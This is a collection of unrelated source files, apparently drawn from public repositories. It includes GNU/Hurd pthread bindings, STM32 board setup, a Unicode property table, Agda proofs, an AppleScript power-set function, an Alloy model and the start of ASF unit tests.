ss_flags : int;
end record;
pragma Convention (C, stack_t);
function sigaltstack
(ss : not null access stack_t;
oss : access stack_t) return int;
pragma Import (C, sigaltstack, "sigaltstack");
Alternate_Stack : aliased System.Address;
-- This is a dummy definition, never used (Alternate_Stack_Size is null)
Alternate_Stack_Size : constant := 0;
-- No alternate signal stack is used on this platform
Stack_Base_Available : constant Boolean := False;
-- Indicates whether the stack base is available on this target
function Get_Stack_Base (thread : pthread_t) return Address;
pragma Inline (Get_Stack_Base);
-- returns the stack base of the specified thread. Only call this function
-- when Stack_Base_Available is True.
-- From: /usr/include/i386-gnu/bits/shm.h
function Get_Page_Size return int;
pragma Import (C, Get_Page_Size, "getpagesize");
-- Returns the size of a page
-- From /usr/include/i386-gnu/bits/mman.h
PROT_NONE : constant := 0;
PROT_READ : constant := 4;
PROT_WRITE : constant := 2;
PROT_EXEC : constant := 1;
PROT_ALL : constant := PROT_READ + PROT_WRITE + PROT_EXEC;
PROT_ON : constant := PROT_NONE;
PROT_OFF : constant := PROT_ALL;
-- From /usr/include/i386-gnu/bits/mman.h
function mprotect (addr : Address; len : size_t; prot : int) return int;
pragma Import (C, mprotect);
---------------------------------------
-- Nonstandard Thread Initialization --
---------------------------------------
procedure pthread_init;
pragma Inline (pthread_init);
-- This is a dummy procedure to share some GNULLI files
-------------------------
-- POSIX.1c Section 3 --
-------------------------
-- From: /usr/include/signal.h:
-- sigwait (__const sigset_t *__restrict __set, int *__restrict __sig)
function sigwait (set : access sigset_t; sig : access Signal) return int;
pragma Import (C, sigwait, "sigwait");
-- From: /usr/include/pthread/pthread.h:
-- extern int pthread_kill (pthread_t thread, int signo);
function pthread_kill (thread : pthread_t; sig : Signal) return int;
pragma Import (C, pthread_kill, "pthread_kill");
-- From: /usr/include/i386-gnu/bits/sigthread.h
-- extern int pthread_sigmask (int __how, __const __sigset_t *__newmask,
-- __sigset_t *__oldmask) __THROW;
function pthread_sigmask
(how : int;
set : access sigset_t;
oset : access sigset_t) return int;
pragma Import (C, pthread_sigmask, "pthread_sigmask");
--------------------------
-- POSIX.1c Section 11 --
--------------------------
-- From: /usr/include/pthread/pthread.h and
-- /usr/include/pthread/pthreadtypes.h
function pthread_mutexattr_init
(attr : access pthread_mutexattr_t) return int;
pragma Import (C, pthread_mutexattr_init, "pthread_mutexattr_init");
function pthread_mutexattr_destroy
(attr : access pthread_mutexattr_t) return int;
pragma Import (C, pthread_mutexattr_destroy, "pthread_mutexattr_destroy");
function pthread_mutex_init
(mutex : access pthread_mutex_t;
attr : access pthread_mutexattr_t) return int;
pragma Import (C, pthread_mutex_init, "pthread_mutex_init");
function pthread_mutex_destroy (mutex : access pthread_mutex_t) return int;
pragma Import (C, pthread_mutex_destroy, "pthread_mutex_destroy");
function pthread_mutex_lock (mutex : access pthread_mutex_t) return int;
pragma Import (C, pthread_mutex_lock, "pthread_mutex_lock");
function pthread_mutex_unlock (mutex : access pthread_mutex_t) return int;
pragma Import (C, pthread_mutex_unlock, "pthread_mutex_unlock");
function pthread_rwlockattr_init
(attr : access pthread_rwlockattr_t) return int;
pragma Import (C, pthread_rwlockattr_init, "pthread_rwlockattr_init");
function pthread_rwlockattr_destroy
(attr : access pthread_rwlockattr_t) return int;
pragma Import (C, pthread_rwlockattr_destroy, "pthread_rwlockattr_destroy");
PTHREAD_RWLOCK_PREFER_READER_NP : constant := 0;
PTHREAD_RWLOCK_PREFER_WRITER_NP : constant := 1;
PTHREAD_RWLOCK_PREFER_WRITER_NONRECURSIVE_NP : constant := 2;
function pthread_rwlockattr_setkind_np
(attr : access pthread_rwlockattr_t;
pref : int) return int;
pragma Import
(C, pthread_rwlockattr_setkind_np, "pthread_rwlockattr_setkind_np");
function pthread_rwlock_init
(mutex : access pthread_rwlock_t;
attr : access pthread_rwlockattr_t) return int;
pragma Import (C, pthread_rwlock_init, "pthread_rwlock_init");
function pthread_rwlock_destroy
(mutex : access pthread_rwlock_t) return int;
pragma Import (C, pthread_rwlock_destroy, "pthread_rwlock_destroy");
function pthread_rwlock_rdlock (mutex : access pthread_rwlock_t) return int;
pragma Import (C, pthread_rwlock_rdlock, "pthread_rwlock_rdlock");
function pthread_rwlock_wrlock (mutex : access pthread_rwlock_t) return int;
pragma Import (C, pthread_rwlock_wrlock, "pthread_rwlock_wrlock");
function pthread_rwlock_unlock (mutex : access pthread_rwlock_t) return int;
pragma Import (C, pthread_rwlock_unlock, "pthread_rwlock_unlock");
function pthread_condattr_init
(attr : access pthread_condattr_t) return int;
pragma Import (C, pthread_condattr_init, "pthread_condattr_init");
function pthread_condattr_destroy
(attr : access pthread_condattr_t) return int;
pragma Import (C, pthread_condattr_destroy, "pthread_condattr_destroy");
function pthread_cond_init
(cond : access pthread_cond_t;
attr : access pthread_condattr_t) return int;
pragma Import (C, pthread_cond_init, "pthread_cond_init");
function pthread_cond_destroy (cond : access pthread_cond_t) return int;
pragma Import (C, pthread_cond_destroy, "pthread_cond_destroy");
function pthread_cond_signal (cond : access pthread_cond_t) return int;
pragma Import (C, pthread_cond_signal, "pthread_cond_signal");
function pthread_cond_wait
(cond : access pthread_cond_t;
mutex : access pthread_mutex_t) return int;
pragma Import (C, pthread_cond_wait, "pthread_cond_wait");
function pthread_cond_timedwait
(cond : access pthread_cond_t;
mutex : access pthread_mutex_t;
abstime : access timespec) return int;
pragma Import (C, pthread_cond_timedwait, "pthread_cond_timedwait");
Relative_Timed_Wait : constant Boolean := False;
-- pthread_cond_timedwait requires an absolute delay time
--------------------------
-- POSIX.1c Section 13 --
--------------------------
-- From /usr/include/pthread/pthreadtypes.h
PTHREAD_PRIO_NONE : constant := 0;
PTHREAD_PRIO_PROTECT : constant := 2;
PTHREAD_PRIO_INHERIT : constant := 1;
-- GNU/Hurd does not support Thread Priority Protection or Thread
-- Priority Inheritance and lacks some pthread_mutexattr_* functions.
-- Replace them with dummy versions.
-- From: /usr/include/pthread/pthread.h
function pthread_mutexattr_setprotocol
(attr : access pthread_mutexattr_t;
protocol : int) return int;
pragma Import (C, pthread_mutexattr_setprotocol,
"pthread_mutexattr_setprotocol");
function pthread_mutexattr_getprotocol
(attr : access pthread_mutexattr_t;
protocol : access int) return int;
pragma Import (C, pthread_mutexattr_getprotocol,
"pthread_mutexattr_getprotocol");
function pthread_mutexattr_setprioceiling
(attr : access pthread_mutexattr_t;
prioceiling : int) return int;
function pthread_mutexattr_getprioceiling
(attr : access pthread_mutexattr_t;
prioceiling : access int) return int;
type struct_sched_param is record
sched_priority : int; -- scheduling priority
end record;
pragma Convention (C, struct_sched_param);
function pthread_setschedparam
(thread : pthread_t;
policy : int;
param : access struct_sched_param) return int;
function pthread_attr_setscope
(attr : access pthread_attr_t;
contentionscope : int) return int;
pragma Import (C, pthread_attr_setscope, "pthread_attr_setscope");
function pthread_attr_getscope
(attr : access pthread_attr_t;
contentionscope : access int) return int;
pragma Import (C, pthread_attr_getscope, "pthread_attr_getscope");
function pthread_attr_setinheritsched
(attr : access pthread_attr_t;
inheritsched : int) return int;
pragma Import (C, pthread_attr_setinheritsched,
"pthread_attr_setinheritsched");
function pthread_attr_getinheritsched
(attr : access pthread_attr_t;
inheritsched : access int) return int;
pragma Import (C, pthread_attr_getinheritsched,
"pthread_attr_getinheritsched");
function pthread_attr_setschedpolicy
(attr : access pthread_attr_t;
policy : int) return int;
pragma Import (C, pthread_attr_setschedpolicy, "pthread_setschedpolicy");
function sched_yield return int;
pragma Import (C, sched_yield, "sched_yield");
---------------------------
-- P1003.1c - Section 16 --
---------------------------
function pthread_attr_init
(attributes : access pthread_attr_t) return int;
pragma Import (C, pthread_attr_init, "pthread_attr_init");
function pthread_attr_destroy
(attributes : access pthread_attr_t) return int;
pragma Import (C, pthread_attr_destroy, "pthread_attr_destroy");
function pthread_attr_setdetachstate
(attr : access pthread_attr_t;
detachstate : int) return int;
pragma Import
(C, pthread_attr_setdetachstate, "pthread_attr_setdetachstate");
function pthread_attr_setstacksize
(attr : access pthread_attr_t;
stacksize : size_t) return int;
pragma Import (C, pthread_attr_setstacksize, "pthread_attr_setstacksize");
-- From: /usr/include/pthread/pthread.h
function pthread_create
(thread : access pthread_t;
attributes : access pthread_attr_t;
start_routine : Thread_Body;
arg : System.Address) return int;
pragma Import (C, pthread_create, "pthread_create");
procedure pthread_exit (status : System.Address);
pragma Import (C, pthread_exit, "pthread_exit");
function pthread_self return pthread_t;
pragma Import (C, pthread_self, "pthread_self");
--------------------------
-- POSIX.1c Section 17 --
--------------------------
function pthread_setspecific
(key : pthread_key_t;
value : System.Address) return int;
pragma Import (C, pthread_setspecific, "pthread_setspecific");
function pthread_getspecific (key : pthread_key_t) return System.Address;
pragma Import (C, pthread_getspecific, "pthread_getspecific");
type destructor_pointer is access procedure (arg : System.Address);
pragma Convention (C, destructor_pointer);
function pthread_key_create
(key : access pthread_key_t;
destructor : destructor_pointer) return int;
pragma Import (C, pthread_key_create, "pthread_key_create");
-- From /usr/include/i386-gnu/bits/sched.h
CPU_SETSIZE : constant := 1_024;
type bit_field is array (1 .. CPU_SETSIZE) of Boolean;
for bit_field'Size use CPU_SETSIZE;
pragma Pack (bit_field);
pragma Convention (C, bit_field);
type cpu_set_t is record
bits : bit_field;
end record;
pragma Convention (C, cpu_set_t);
private
type sigset_t is array (1 .. 4) of unsigned;
-- In GNU/Hurd the component sa_handler turns out to
-- be one a union type, and the selector is a macro:
-- #define sa_handler __sigaction_handler.sa_handler
-- #define sa_sigaction __sigaction_handler.sa_sigaction
-- Should we add a signal_context type here ?
-- How could it be done independent of the CPU architecture ?
-- sigcontext type is opaque, so it is architecturally neutral.
-- It is always passed as an access type, so define it as an empty record
-- since the contents are not used anywhere.
type struct_sigcontext is null record;
pragma Convention (C, struct_sigcontext);
type pid_t is new int;
type time_t is new long;
type timespec is record
tv_sec : time_t;
tv_nsec : long;
end record;
pragma Convention (C, timespec);
-- From: /usr/include/pthread/pthreadtypes.h:
-- typedef struct __pthread_attr pthread_attr_t;
-- /usr/include/i386-gnu/bits/thread-attr.h: struct __pthread_attr...
-- /usr/include/pthread/pthreadtypes.h: enum __pthread_contentionscope
-- enum __pthread_detachstate detachstate;
-- enum __pthread_inheritsched inheritsched;
-- enum __pthread_contentionscope contentionscope;
-- Not used: schedpolicy : int;
type pthread_attr_t is record
schedparam : struct_sched_param;
stackaddr : System.Address;
stacksize : size_t;
guardsize : size_t;
detachstate : int;
inheritsched : int;
contentionscope : int;
schedpolicy : int;
end record;
pragma Convention (C, pthread_attr_t);
-- From: /usr/include/pthread/pthreadtypes.h:
-- typedef struct __pthread_condattr pthread_condattr_t;
-- From: /usr/include/i386-gnu/bits/condition-attr.h:
-- struct __pthread_condattr {
-- enum __pthread_process_shared pshared;
-- __Clockid_T Clock;}
-- From: /usr/include/pthread/pthreadtypes.h:
-- enum __pthread_process_shared
type pthread_condattr_t is record
pshared : int;
clock : clockid_t;
end record;
pragma Convention (C, pthread_condattr_t);
-- From: /usr/include/pthread/pthreadtypes.h:
-- typedef struct __pthread_mutexattr pthread_mutexattr_t; and
-- /usr/include/i386-gnu/bits/mutex-attr.h
-- struct __pthread_mutexattr {
-- int prioceiling;
-- enum __pthread_mutex_protocol protocol;
-- enum __pthread_process_shared pshared;
-- enum __pthread_mutex_type mutex_type;};
type pthread_mutexattr_t is record
prioceiling : int;
protocol : int;
pshared : int;
mutex_type : int;
end record;
pragma Convention (C, pthread_mutexattr_t);
-- From: /usr/include/pthread/pthreadtypes.h
-- typedef struct __pthread_mutex pthread_mutex_t; and
-- /usr/include/i386-gnu/bits/mutex.h:
-- struct __pthread_mutex {
-- __pthread_spinlock_t __held;
-- __pthread_spinlock_t __lock;
-- /* in cthreads, mutex_init does not initialized the third
-- pointer, as such, we cannot rely on its value for anything. */
-- char *cthreadscompat1;
-- struct __pthread *__queue;
-- struct __pthread_mutexattr *attr;
-- void *data;
-- /* up to this point, we are completely compatible with cthreads
-- and what libc expects. */
-- void *owner;
-- unsigned locks;
-- /* if null then the default attributes apply. */
-- };
type pthread_mutex_t is record
held : int;
lock : int;
cthreadcompat : System.Address;
queue : System.Address;
attr : System.Address;
data : System.Address;
owner : System.Address;
locks : unsigned;
end record;
pragma Convention (C, pthread_mutex_t);
-- pointer needed?
-- type pthread_mutex_t_ptr is access pthread_mutex_t;
-- From: /usr/include/pthread/pthreadtypes.h:
-- typedef struct __pthread_cond pthread_cond_t;
-- typedef struct __pthread_condattr pthread_condattr_t;
-- /usr/include/i386-gnu/bits/condition.h:struct __pthread_cond{}
-- pthread_condattr_t: see above!
-- /usr/include/i386-gnu/bits/condition.h:
-- struct __pthread_condimpl *__impl;
type pthread_cond_t is record
lock : int;
queue : System.Address;
condattr : System.Address;
impl : System.Address;
data : System.Address;
end record;
pragma Convention (C, pthread_cond_t);
-- From: /usr/include/pthread/pthreadtypes.h:
-- typedef __pthread_key pthread_key_t; and
-- /usr/include/i386-gnu/bits/thread-specific.h:
-- typedef int __pthread_key;
type pthread_key_t is new int;
-- From: /usr/include/i386-gnu/bits/rwlock-attr.h:
-- struct __pthread_rwlockattr {
-- enum __pthread_process_shared pshared; };
type pthread_rwlockattr_t is record
pshared : int;
end record;
pragma Convention (C, pthread_rwlockattr_t);
-- From: /usr/include/i386-gnu/bits/rwlock.h:
-- struct __pthread_rwlock {
-- __pthread_spinlock_t __held;
-- __pthread_spinlock_t __lock;
-- int readers;
-- struct __pthread *readerqueue;
-- struct __pthread *writerqueue;
-- struct __pthread_rwlockattr *__attr;
-- void *__data; };
type pthread_rwlock_t is record
held : int;
lock : int;
readers : int;
readerqueue : System.Address;
writerqueue : System.Address;
attr : pthread_rwlockattr_t;
data : int;
end record;
pragma Convention (C, pthread_rwlock_t);
end System.OS_Interface;
|
src/ada-core/src/linted-poller.ads | mstewartgallus/linted | 0 | 30159 | <filename>src/ada-core/src/linted-poller.ads
-- Copyright 2016,2017 <NAME>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-- implied. See the License for the specific language governing
-- permissions and limitations under the License.
with Linted.IO_Pool;
with Linted.KOs;
with Linted.Triggers;
package Linted.Poller is
subtype Event is Linted.IO_Pool.Poller_Event;
subtype Event_Type is Linted.IO_Pool.Poller_Event_Type;
subtype Event_Set is Linted.IO_Pool.Poller_Event_Set;
Readable : Event_Type renames Linted.IO_Pool.Readable;
Writable : Event_Type renames Linted.IO_Pool.Writable;
subtype Future is Linted.IO_Pool.Poll_Future;
function Future_Is_Live
(F : Future) return Boolean renames
IO_Pool.Poll_Future_Is_Live;
procedure Poll
(Object : Linted.KOs.KO;
Events : Event_Set;
Signaller : Triggers.Signaller;
F : out Future) renames
IO_Pool.Poll;
procedure Poll_Wait
(F : in out Future;
E : out Event) renames
IO_Pool.Poll_Wait;
procedure Poll_Poll
(F : in out Future;
E : out Event;
Init : out Boolean) renames
IO_Pool.Poll_Poll;
end Linted.Poller;
|
example/board.adb | JeremyGrosser/tiny_text | 1 | 15536 | <reponame>JeremyGrosser/tiny_text<gh_stars>1-10
with STM32.SPI; use STM32.SPI;
with HAL.SPI; use HAL.SPI;
package body Board is
procedure Initialize is
Pins : GPIO_Points := (LCD_RST, LCD_DC, LCD_CS);
begin
Enable_Clock (LCD_DIN & LCD_CLK);
Enable_Clock (Pins);
Set (Pins);
Configure_IO
(Pins,
(Resistors => Pull_Up,
Mode => Mode_Out,
Output_Type => Push_Pull,
Speed => Speed_25MHz));
Configure_IO
(LCD_DIN & LCD_CLK,
(Resistors => Pull_Up,
Mode => Mode_AF,
AF_Output_Type => Push_Pull,
AF_Speed => Speed_25MHz,
AF => GPIO_AF_SPI2_5));
Enable_Clock (SPI_2);
Configure
(SPI_2,
(Direction => D2Lines_FullDuplex,
Mode => Master,
Data_Size => Data_Size_8b,
Clock_Polarity => High,
Clock_Phase => P2Edge,
Slave_Management => Software_Managed,
Baud_Rate_Prescaler => BRP_8,
First_Bit => MSB,
CRC_Poly => 0));
Enable (SPI_2);
Display.Initialize;
Display.Set_Bias (3);
Display.Set_Contrast (60);
end Initialize;
end Board;
|
source/league/ucd/matreshka-internals-unicode-ucd-core_0113.ads | svn2github/matreshka | 24 | 12997 | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Localization, Internationalization, Globalization for Ada --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2012-2015, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
pragma Restrictions (No_Elaboration_Code);
-- GNAT: enforce generation of preinitialized data section instead of
-- generation of elaboration code.
package Matreshka.Internals.Unicode.Ucd.Core_0113 is
pragma Preelaborate;
Group_0113 : aliased constant Core_Second_Stage
:= (16#01# => -- 011301
(Nonspacing_Mark, Neutral,
Extend, Extend, Extend, Combining_Mark,
(Other_Alphabetic
| Alphabetic
| Case_Ignorable
| Grapheme_Extend
| ID_Continue
| XID_Continue => True,
others => False)),
16#02# .. 16#03# => -- 011302 .. 011303
(Spacing_Mark, Neutral,
Spacing_Mark, Extend, Extend, Combining_Mark,
(Other_Alphabetic
| Alphabetic
| Grapheme_Base
| ID_Continue
| XID_Continue => True,
others => False)),
16#05# .. 16#0C# => -- 011305 .. 01130C
(Other_Letter, Neutral,
Other, A_Letter, O_Letter, Alphabetic,
(Alphabetic
| Grapheme_Base
| ID_Continue
| ID_Start
| XID_Continue
| XID_Start => True,
others => False)),
16#0F# .. 16#10# => -- 01130F .. 011310
(Other_Letter, Neutral,
Other, A_Letter, O_Letter, Alphabetic,
(Alphabetic
| Grapheme_Base
| ID_Continue
| ID_Start
| XID_Continue
| XID_Start => True,
others => False)),
16#13# .. 16#28# => -- 011313 .. 011328
(Other_Letter, Neutral,
Other, A_Letter, O_Letter, Alphabetic,
(Alphabetic
| Grapheme_Base
| ID_Continue
| ID_Start
| XID_Continue
| XID_Start => True,
others => False)),
16#2A# .. 16#30# => -- 01132A .. 011330
(Other_Letter, Neutral,
Other, A_Letter, O_Letter, Alphabetic,
(Alphabetic
| Grapheme_Base
| ID_Continue
| ID_Start
| XID_Continue
| XID_Start => True,
others => False)),
16#32# .. 16#33# => -- 011332 .. 011333
(Other_Letter, Neutral,
Other, A_Letter, O_Letter, Alphabetic,
(Alphabetic
| Grapheme_Base
| ID_Continue
| ID_Start
| XID_Continue
| XID_Start => True,
others => False)),
16#35# .. 16#39# => -- 011335 .. 011339
(Other_Letter, Neutral,
Other, A_Letter, O_Letter, Alphabetic,
(Alphabetic
| Grapheme_Base
| ID_Continue
| ID_Start
| XID_Continue
| XID_Start => True,
others => False)),
16#3C# => -- 01133C
(Nonspacing_Mark, Neutral,
Extend, Extend, Extend, Combining_Mark,
(Diacritic
| Case_Ignorable
| Grapheme_Extend
| ID_Continue
| XID_Continue => True,
others => False)),
16#3D# => -- 01133D
(Other_Letter, Neutral,
Other, A_Letter, O_Letter, Alphabetic,
(Alphabetic
| Grapheme_Base
| ID_Continue
| ID_Start
| XID_Continue
| XID_Start => True,
others => False)),
16#3E# => -- 01133E
(Spacing_Mark, Neutral,
Extend, Extend, Extend, Combining_Mark,
(Other_Alphabetic
| Other_Grapheme_Extend
| Alphabetic
| Grapheme_Extend
| ID_Continue
| XID_Continue => True,
others => False)),
16#3F# => -- 01133F
(Spacing_Mark, Neutral,
Spacing_Mark, Extend, Extend, Combining_Mark,
(Other_Alphabetic
| Alphabetic
| Grapheme_Base
| ID_Continue
| XID_Continue => True,
others => False)),
16#40# => -- 011340
(Nonspacing_Mark, Neutral,
Extend, Extend, Extend, Combining_Mark,
(Other_Alphabetic
| Alphabetic
| Case_Ignorable
| Grapheme_Extend
| ID_Continue
| XID_Continue => True,
others => False)),
16#41# .. 16#44# => -- 011341 .. 011344
(Spacing_Mark, Neutral,
Spacing_Mark, Extend, Extend, Combining_Mark,
(Other_Alphabetic
| Alphabetic
| Grapheme_Base
| ID_Continue
| XID_Continue => True,
others => False)),
16#47# .. 16#48# => -- 011347 .. 011348
(Spacing_Mark, Neutral,
Spacing_Mark, Extend, Extend, Combining_Mark,
(Other_Alphabetic
| Alphabetic
| Grapheme_Base
| ID_Continue
| XID_Continue => True,
others => False)),
16#4B# .. 16#4C# => -- 01134B .. 01134C
(Spacing_Mark, Neutral,
Spacing_Mark, Extend, Extend, Combining_Mark,
(Other_Alphabetic
| Alphabetic
| Grapheme_Base
| ID_Continue
| XID_Continue => True,
others => False)),
16#4D# => -- 01134D
(Spacing_Mark, Neutral,
Spacing_Mark, Extend, Extend, Combining_Mark,
(Diacritic
| Grapheme_Base
| Grapheme_Link
| ID_Continue
| XID_Continue => True,
others => False)),
16#57# => -- 011357
(Spacing_Mark, Neutral,
Extend, Extend, Extend, Combining_Mark,
(Other_Alphabetic
| Other_Grapheme_Extend
| Alphabetic
| Grapheme_Extend
| ID_Continue
| XID_Continue => True,
others => False)),
16#5D# => -- 01135D
(Other_Letter, Neutral,
Other, A_Letter, O_Letter, Alphabetic,
(Extender
| Alphabetic
| Grapheme_Base
| ID_Continue
| ID_Start
| XID_Continue
| XID_Start => True,
others => False)),
16#5E# .. 16#61# => -- 01135E .. 011361
(Other_Letter, Neutral,
Other, A_Letter, O_Letter, Alphabetic,
(Alphabetic
| Grapheme_Base
| ID_Continue
| ID_Start
| XID_Continue
| XID_Start => True,
others => False)),
16#62# .. 16#63# => -- 011362 .. 011363
(Spacing_Mark, Neutral,
Spacing_Mark, Extend, Extend, Combining_Mark,
(Other_Alphabetic
| Alphabetic
| Grapheme_Base
| ID_Continue
| XID_Continue => True,
others => False)),
16#66# .. 16#6C# => -- 011366 .. 01136C
(Nonspacing_Mark, Neutral,
Extend, Extend, Extend, Combining_Mark,
(Diacritic
| Case_Ignorable
| Grapheme_Extend
| ID_Continue
| XID_Continue => True,
others => False)),
16#70# .. 16#74# => -- 011370 .. 011374
(Nonspacing_Mark, Neutral,
Extend, Extend, Extend, Combining_Mark,
(Diacritic
| Case_Ignorable
| Grapheme_Extend
| ID_Continue
| XID_Continue => True,
others => False)),
others =>
(Unassigned, Neutral,
Other, Other, Other, Unknown,
(others => False)));
end Matreshka.Internals.Unicode.Ucd.Core_0113;
|
Data/List/Equiv.agda | Lolirofle/stuff-in-agda | 6 | 12607 | module Data.List.Equiv where
open import Logic.Propositional
import Lvl
open import Data.List
open import Structure.Operator
open import Structure.Setoid
open import Type
private variable ℓ ℓₑ ℓₚ : Lvl.Level
private variable T : Type{ℓ}
-- A correct equality relation on lists should state that prepend is a function and have the generalized cancellation properties for lists.
record Extensionality ⦃ equiv : Equiv{ℓₑ}(T) ⦄ (equiv-List : Equiv{ℓₚ}(List(T))) : Type{ℓₑ Lvl.⊔ Lvl.of(T) Lvl.⊔ ℓₚ} where
constructor intro
private instance _ = equiv-List
field
⦃ binaryOperator ⦄ : BinaryOperator(List._⊰_)
generalized-cancellationᵣ : ∀{x y : T}{l₁ l₂ : List(T)} → (x ⊰ l₁ ≡ y ⊰ l₂) → (x ≡ y)
generalized-cancellationₗ : ∀{x y : T}{l₁ l₂ : List(T)} → (x ⊰ l₁ ≡ y ⊰ l₂) → (l₁ ≡ l₂)
case-unequality : ∀{x : T}{l : List(T)} → (∅ ≢ x ⊰ l)
generalized-cancellation : ∀{x y : T}{l₁ l₂ : List(T)} → (x ⊰ l₁ ≡ y ⊰ l₂) → ((x ≡ y) ∧ (l₁ ≡ l₂))
generalized-cancellation p = [∧]-intro (generalized-cancellationᵣ p) (generalized-cancellationₗ p)
open Extensionality ⦃ … ⦄ renaming
( binaryOperator to [⊰]-binaryOperator
; generalized-cancellationₗ to [⊰]-generalized-cancellationₗ
; generalized-cancellationᵣ to [⊰]-generalized-cancellationᵣ
; generalized-cancellation to [⊰]-generalized-cancellation
; case-unequality to [∅][⊰]-unequal
) public
|
Task/Power-set/AppleScript/power-set-1.applescript | LaudateCorpus1/RosettaCodeData | 1 | 186 | -- POWER SET -----------------------------------------------------------------
-- powerset :: [a] -> [[a]]
on powerset(xs)
script subSet
on |λ|(acc, x)
script cons
on |λ|(y)
{x} & y
end |λ|
end script
acc & map(cons, acc)
end |λ|
end script
foldr(subSet, {{}}, xs)
end powerset
-- TEST ----------------------------------------------------------------------
on run
script test
on |λ|(x)
set {setName, setMembers} to x
{setName, powerset(setMembers)}
end |λ|
end script
map(test, [¬
["Set [1,2,3]", {1, 2, 3}], ¬
["Empty set", {}], ¬
["Set containing only empty set", {{}}]])
--> {{"Set [1,2,3]", {{}, {3}, {2}, {2, 3}, {1}, {1, 3}, {1, 2}, {1, 2, 3}}},
--> {"Empty set", {{}}},
--> {"Set containing only empty set", {{}, {{}}}}}
end run
-- GENERIC FUNCTIONS ---------------------------------------------------------
-- foldr :: (a -> b -> a) -> a -> [b] -> a
on foldr(f, startValue, xs)
tell mReturn(f)
set v to startValue
set lng to length of xs
repeat with i from lng to 1 by -1
set v to |λ|(v, item i of xs, i, xs)
end repeat
return v
end tell
end foldr
-- map :: (a -> b) -> [a] -> [b]
on map(f, xs)
tell mReturn(f)
set lng to length of xs
set lst to {}
repeat with i from 1 to lng
set end of lst to |λ|(item i of xs, i, xs)
end repeat
return lst
end tell
end map
-- Lift 2nd class handler function into 1st class script wrapper
-- mReturn :: Handler -> Script
on mReturn(f)
if class of f is script then
f
else
script
property |λ| : f
end script
end if
end mReturn
|
alloy4fun_models/trashltl/models/14/CEeovfmeyHFfMzcj5.als | Kaixi26/org.alloytools.alloy | 0 | 2747 | <filename>alloy4fun_models/trashltl/models/14/CEeovfmeyHFfMzcj5.als
open main
pred idCEeovfmeyHFfMzcj5_prop15 {
some f : File | eventually f in Trash
}
pred __repair { idCEeovfmeyHFfMzcj5_prop15 }
check __repair { idCEeovfmeyHFfMzcj5_prop15 <=> prop15o } |
test/Succeed/Issue3332-rewrite.agda | shlevy/agda | 1,989 | 3424 | -- Jesper, Andreas, 2018-10-29, issue #3332
--
-- WAS: With-inlining failed in termination checker
-- due to a DontCare protecting the clause bodies
-- (introduced by Prop).
{-# OPTIONS --prop #-}
data _≡_ {A : Set} (a : A) : A → Prop where
refl : a ≡ a
{-# BUILTIN EQUALITY _≡_ #-}
data List (A : Set) : Set where
[] : List A
_∷_ : A → List A → List A
_++_ : {A : Set} → List A → List A → List A
[] ++ l = l
(x ∷ xs) ++ l = x ∷ (xs ++ l)
test : {A : Set} (l : List A) → (l ++ []) ≡ l
test [] = refl
test (x ∷ xs) rewrite test xs = refl
|
regtests/asf-contexts-faces-tests.adb | Letractively/ada-asf | 0 | 23613 | <gh_stars>0
-----------------------------------------------------------------------
-- Faces Context Tests - Unit tests for ASF.Contexts.Faces
-- Copyright (C) 2010, 2011, 2012, 2013, 2014 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Ada.IO_Exceptions;
with Ada.Unchecked_Deallocation;
with Util.Test_Caller;
with EL.Variables.Default;
with ASF.Contexts.Flash;
with ASF.Contexts.Faces.Mockup;
package body ASF.Contexts.Faces.Tests is
use Util.Tests;
package Caller is new Util.Test_Caller (Test, "Contexts.Faces");
procedure Add_Tests (Suite : in Util.Tests.Access_Test_Suite) is
begin
-- To document what is tested, register the test methods for each
-- operation that is tested.
Caller.Add_Test (Suite, "Test ASF.Contexts.Faces.Add_Message",
Test_Add_Message'Access);
Caller.Add_Test (Suite, "Test ASF.Contexts.Faces.Max_Severity",
Test_Max_Severity'Access);
